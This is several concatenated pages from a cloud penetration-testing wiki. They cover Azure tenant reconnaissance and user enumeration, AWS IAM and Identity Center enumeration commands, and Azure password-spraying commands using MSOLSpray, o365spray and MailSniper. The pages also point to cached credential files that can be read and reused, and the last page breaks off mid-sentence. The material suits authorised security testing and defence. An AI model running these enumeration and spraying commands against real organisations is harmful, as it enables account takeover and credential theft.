[Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. There are some **public Azure APIs** that just knowing the **domain of the tenant** an attacker could query to gather more info about it. You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals) (`Install-Module AADInternals`): * **Login information including tenant ID** * `Get-AADIntTenantID -Domain ` (main API `login.microsoftonline.com//.well-known/openid-configuration`) * **All valid doimains in the tenant** * `Get-AADIntTenantDomains -Domain ` (main API `autodiscover-s.outlook.com/autodiscover/autodiscover.svc`) * **Login information of the user**. If `NameSpaceType` is `Managed`, it means EntraID is used * `Get-AADIntLoginInformation -UserName ` (main API `login.microsoftonline.com/GetUserRealm.srf?login=`) You can query all the information of an Azure tenant with **just one command from** [**AADInternals**](https://github.com/Gerenios/AADInternals) : bash # Doesn't work in macos because 'Resolve-DnsName' doesn't exist Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table ## Output Example of the Azure tenant info: Tenant brand: Company Ltd Tenant name: company Tenant id: 1937e3ab-38de-a735-a830-3075ea7e5b39 DesktopSSO enabled: True Name DNS MX SPF Type STS ---- --- -- --- ---- --- company.com True True True Federated sts.company.com company.mail.onmicrosoft.com True True True Managed company.onmicrosoft.com True True True Managed int.company.com False False False Managed It's possible to observe details about the tenant's name, ID, and "brand" name. Additionally, the status of the Desktop Single Sign-On (SSO), also known as [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) , is displayed. When enabled, this feature facilitates the determination of the presence (enumeration) of a specific user within the target organization. Moreover, the output presents the names of all verified domains associated with the target tenant, along with their respective identity types. In the case of federated domains, the Fully Qualified Domain Name (FQDN) of the identity provider in use, typically an ADFS server, is also disclosed. The "MX" column specifies whether emails are routed to Exchange Online, while the "SPF" column denotes the listing of Exchange Online as an email sender. It is important to note that the current reconnaissance function does not parse the "include" statements within SPF records, which may result in false negatives. tip Note that even if a tenant is using several emails for the same user, the **username is unique**. This means that it'll noly work with the domain the user has associated and not with the other domains. It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format: #EXT#@.onmicrosoft.com The email is user’s email address where at “@” is replaced with underscore “\_“. With [**AADInternals**](https://github.com/Gerenios/AADInternals) , you can easily check if the user exists or not: bash # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" Output: UserName Exists -------- ------ user@company.com True You can also use a text file containing one email address per row: user@company.com user2@company.com admin@company.com admin2@company.com external.user_gmail.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com bash # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal Currenlty there are **4 different enumeration methods** to choose from. You can find information in `Get-Help Invoke-AADIntUserEnumerationAsOutsider`: It supports following enumeration methods: Normal, Login, Autologon, and RST2. * The **Normal** method seems currently work with all tenants. Previously it required Desktop SSO (aka Seamless SSO) to be enabled for at least one domain. * The **Login** method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events! * The **Autologon** method doesn't seem to work with all tenants anymore. Probably requires that DesktopSSO or directory sync is enabled. After discovering the valid usernames you can get **info about a user** with: bash Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com The script [**o365spray**](https://github.com/0xZDH/o365spray) also allows you to discover **if an email is valid**. bash git clone https://github.com/0xZDH/o365spray cd o365spray python3 -m pip install -r requirements.txt # Check 1 email python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -u carlos # Check a list of emails python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -U /tmp/users.txt **User Enumeration via Microsoft Teams** Another good source of information is Microsoft Teams. The API of Microsoft Teams allows to search for users. In particular the "user search" endpoints **externalsearchv3** and **searchUsers** could be used to request general information about Teams-enrolled user accounts. Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription. The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API but you need access to a user with Teams access to use it. bash # Install git clone https://github.com/sse-secure-systems/TeamsEnum cd TeamsEnum python3 -m pip install -r requirements.txt # Login and ask for password python3 ./TeamsEnum.py -a password -u -f inputlist.txt -o teamsenum-output.json Output: [-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only) [+] user2@domain - User2 | Company (Away, Mobile) [+] user3@domain - User3 | Company (Available, Desktop) Furthermore it is possible to enumerate availability information about existing users like the following: * Available * Away * DoNotDisturb * Busy * Offline If an **out-of-office message** is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file: jq . teamsenum-output.json Output: json { "email": "user2@domain", "exists": true, "info": [\ {\ "tenantId": "[REDACTED]",\ "isShortProfile": false,\ "accountEnabled": true,\ "featureSettings": {\ "coExistenceMode": "TeamsOnly"\ },\ "userPrincipalName": "user2@domain",\ "givenName": "user2@domain",\ "surname": "",\ "email": "user2@domain",\ "tenantName": "Company",\ "displayName": "User2",\ "type": "Federated",\ "mri": "8:orgid:[REDACTED]",\ "objectId": "[REDACTED]"\ }\ ], "presence": [\ {\ "mri": "8:orgid:[REDACTED]",\ "presence": {\ "sourceNetwork": "Federated",\ "calendarData": {\ "outOfOfficeNote": {\ "message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",\ "publishTime": "2023-03-15T21:44:42.0649385Z",\ "expiry": "2023-04-05T14:00:00Z"\ },\ "isOutOfOffice": true\ },\ "capabilities": ["Audio", "Video"],\ "availability": "Away",\ "activity": "Away",\ "deviceType": "Mobile"\ },\ "etagMatch": false,\ "etag": "[REDACTED]",\ "status": 20000\ }\ ] } [Az - Password Spraying](az-password-spraying.html) It's also possible to try to find **Azure services exposed** in common azure subdomains like the ones documented in this [post:](https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/) * App Services: `azurewebsites.net` * App Services – Management: `scm.azurewebsites.net` * App Services: `p.azurewebsites.net` * App Services: `cloudapp.net` * Storage Accounts-Files: `file.core.windows.net` * Storage Accounts-Blobs: `blob.core.windows.net` * Storage Accounts-Queues: `queue.core.windows.net` * Storage Accounts-Tables: `table.core.windows.net` * Databases-Redis: `redis.cache.windows.net` * Databases-Cosmos DB: `documents.azure.com` * Databases-MSSQL: `database.windows.net` * Key Vaults: `vault.azure.net` * Microsoft Hosted Domain: `onmicrosoft.com` * Email: `mail.protection.outlook.com` * SharePoint: `sharepoint.com` * CDN: `azureedge.net` * Search Appliance: `search.windows.net` * API Services: `azure-api.net` You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure domains:** bash Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose * [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) for credentials or via [OAuth Apps](az-oauth-apps-phishing.html) * [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.html) The **`az cli`** stores a lot of interesting information inside **`/.Azure`**: * **`azureProfile.json`** contains info about logged in users from the past * **`clouds.config`** contains info about subscriptions * **`service_principal_entries.json`** contains applications **credentials** (tenant id, clients and secret) * **`msal_token_cache.json`** contains **access tokens and refresh tokens** Note that in macOS and linux these files are **unprotected** stored in clear text. * [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/) * [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/) * [https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/](https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - IAM, Identity Center & SSO Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 13 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. You can find a **description of IAM** in: [AWS - Basic Information](../aws-basic-information/index.html) Main permissions needed: * `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` * `iam:ListRoles` * `iam:ListUsers` * `iam:ListGroups` * `iam:ListGroupsForUser` * `iam:ListAttachedUserPolicies` * `iam:ListAttachedRolePolicies` * `iam:ListAttachedGroupPolicies` * `iam:ListUserPolicies` and `iam:GetUserPolicy` * `iam:ListGroupPolicies` and `iam:GetGroupPolicy` * `iam:ListRolePolicies` and `iam:GetRolePolicy` bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies ## in your Amazon Web Services account, including their relationships to ## one another. Use this operation to obtain a snapshot of the configura- ## tion of IAM permissions (users, groups, roles, and policies) in your ## account. aws iam get-account-authorization-details # List users aws iam get-user #Get current user information aws iam list-users aws iam list-ssh-public-keys #User keys for CodeCommit aws iam get-ssh-public-key --user-name --ssh-public-key-id --encoding SSH #Get public key with metadata aws iam list-service-specific-credentials #Get special permissions of the IAM user over specific services aws iam get-user --user-name #Get metadata of user, included permissions boundaries aws iam list-access-keys #List created access keys ## inline policies aws iam list-user-policies --user-name #Get inline policies of the user aws iam get-user-policy --user-name --policy-name #Get inline policy details ## attached policies aws iam list-attached-user-policies --user-name #Get policies of user, it doesn't get inline policies # List groups aws iam list-groups #Get groups aws iam list-groups-for-user --user-name #Get groups of a user aws iam get-group --group-name #Get group name info ## inline policies aws iam list-group-policies --group-name #Get inline policies of the group aws iam get-group-policy --group-name --policy-name #Get an inline policy info ## attached policies aws iam list-attached-group-policies --group-name #Get policies of group, it doesn't get inline policies # List roles aws iam list-roles #Get roles aws iam get-role --role-name #Get role ## inline policies aws iam list-role-policies --role-name #Get inline policies of a role aws iam get-role-policy --role-name --policy-name #Get inline policy details ## attached policies aws iam list-attached-role-policies --role-name #Get policies of role, it doesn't get inline policies # List policies aws iam list-policies [--only-attached] [--scope Local] aws iam list-policies-granting-service-access --arn --service-namespaces # Get list of policies that give access to the user to the service ## Get policy content aws iam get-policy --policy-arn aws iam list-policy-versions --policy-arn aws iam get-policy-version --policy-arn --version-id # Enumerate providers aws iam list-saml-providers aws iam get-saml-provider --saml-provider-arn aws iam list-open-id-connect-providers aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Password Policy aws iam get-account-password-policy # MFA aws iam list-mfa-devices aws iam list-virtual-mfa-devices If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt warning It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. [**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] warning If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. (In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). warning In my experience this tool is like the previous one but working worse and checking less permissions bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git cd enumerate-iam/ pip install -r requirements.txt # Download API endpoints cd enumerate_iam/ git clone https://github.com/aws/aws-sdk-js.git python3 generate_bruteforce_tests.py rm -rf aws-sdk-js cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) . This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git cd weirdAAL python3 -m venv weirdAAL source weirdAAL/bin/activate pip3 install -r requirements.txt # Create a .env file with aws credentials such as [default] aws_access_key_id = aws_secret_access_key = # Setup DB python3 create_dbs.py # Invoke it python3 weirdAAL.py -m ec2_describe_instances -t ec2test # Just some ec2 tests python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # You will see output such as: # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json # Filter results removing unknown jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json | jq 'map(select(.resource | contains("N/A") | not))' > /tmp/out-cloudsploit-filt.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json # https://github.com/turbot/steampipe-mod-aws-perimeter # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! [AWS - IAM & STS Unauthenticated Enum](../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.html) In the following page you can check how to **abuse IAM permissions to escalate privileges**: [AWS - IAM Privesc](../aws-privilege-escalation/aws-iam-privesc.html) [AWS - IAM Post Exploitation](../aws-post-exploitation/aws-iam-post-exploitation.html) [AWS - IAM Persistence](../aws-persistence/aws-iam-persistence.html) You can find a **description of IAM Identity Center** in: [AWS - Basic Information](../aws-basic-information/index.html) bash # Connect with sso via CLI aws configure sso aws configure sso [profile profile_name] sso_start_url = https://subdomain.awsapps.com/start/ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 The main elements of the Identity Center are: * Users and groups * Permission Sets: Have policies attached * AWS Accounts Then, relationships are created so users/groups have Permission Sets over AWS Account. note Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). bash # Check if IAM Identity Center is used aws sso-admin list-instances # Get Permissions sets. These are the policies that can be assigned aws sso-admin list-permission-sets --instance-arn aws sso-admin describe-permission-set --instance-arn --permission-set-arn ## Get managed policies of a permission set aws sso-admin list-managed-policies-in-permission-set --instance-arn --permission-set-arn ## Get inline policies of a permission set aws sso-admin get-inline-policy-for-permission-set --instance-arn --permission-set-arn ## Get customer managed policies of a permission set aws sso-admin list-customer-managed-policy-references-in-permission-set --instance-arn --permission-set-arn ## Get boundaries of a permission set aws sso-admin get-permissions-boundary-for-permission-set --instance-arn --permission-set-arn ## List accounts a permission set is affecting aws sso-admin list-accounts-for-provisioned-permission-set --instance-arn --permission-set-arn ## List principals given a permission set in an account aws sso-admin list-account-assignments --instance-arn --permission-set-arn --account-id # Get permissions sets affecting an account aws sso-admin list-permission-sets-provisioned-to-account --instance-arn --account-id # List users & groups from the identity store aws identitystore list-users --identity-store-id aws identitystore list-groups --identity-store-id ## Get members of groups aws identitystore list-group-memberships --identity-store-id --group-id ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: ini [default] region = us-west-2 output = json [profile my-sso-profile] sso_start_url = https://my-sso-portal.awsapps.com/start sso_region = us-west-2 sso_account_id = 123456789012 sso_role_name = MySSORole region = us-west-2 output = json [profile dependent-profile] role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin This configuration can be used with the commands: bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 [AWS - Identity Center & SSO Unauthenticated Enum](../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.html) [AWS - SSO & identitystore Privesc](../aws-privilege-escalation/aws-sso-and-identitystore-privesc.html) [AWS - SSO & identitystore Post Exploitation](../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.html) bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password * Create a group and assign it permissions and set on it a controlled user * Give extra permissions to a controlled user or group * By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) . tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Password Spraying - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc. However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless. You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray) bash git clone https://github.com/dafthack/MSOLSpray . .\MSOLSpray\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\validemails.txt -Password 'Winter2025! -Verbose Or with [**o365spray**](https://github.com/0xZDH/o365spray) bash python3 o365spray.py --spray -U validemails.txt -p ''Winter2025!' --domain victim.com Or with [**MailSniper**](https://github.com/dafthack/MailSniper) bash #OWA Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt #EWS Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt #Gmail Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Basic Information - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 21 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ![](https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB) [https://www.tunecom.be/stg\_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png](https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png) * It can contain **other management groups or subscriptions**. * This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. * **10,000 management** groups can be supported in a single directory. * A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level. * Each management group and subscription can support **only one parent**. * Even if several management groups can be created **there is only 1 root management group**. * The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. * All subscriptions within a single management group must trust the **same Entra ID tenant.** ![](../../../images/image (147).png) [https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png](https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png) * It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed. * Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. * It **trust only one Entra ID** directory * **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription [From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. ![](https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1) [https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1](https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1) Every resource in Azure has an Azure Resource ID that identifies it. The format of an Azure Resource ID is as follows: * `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` For a virtual machine named myVM in 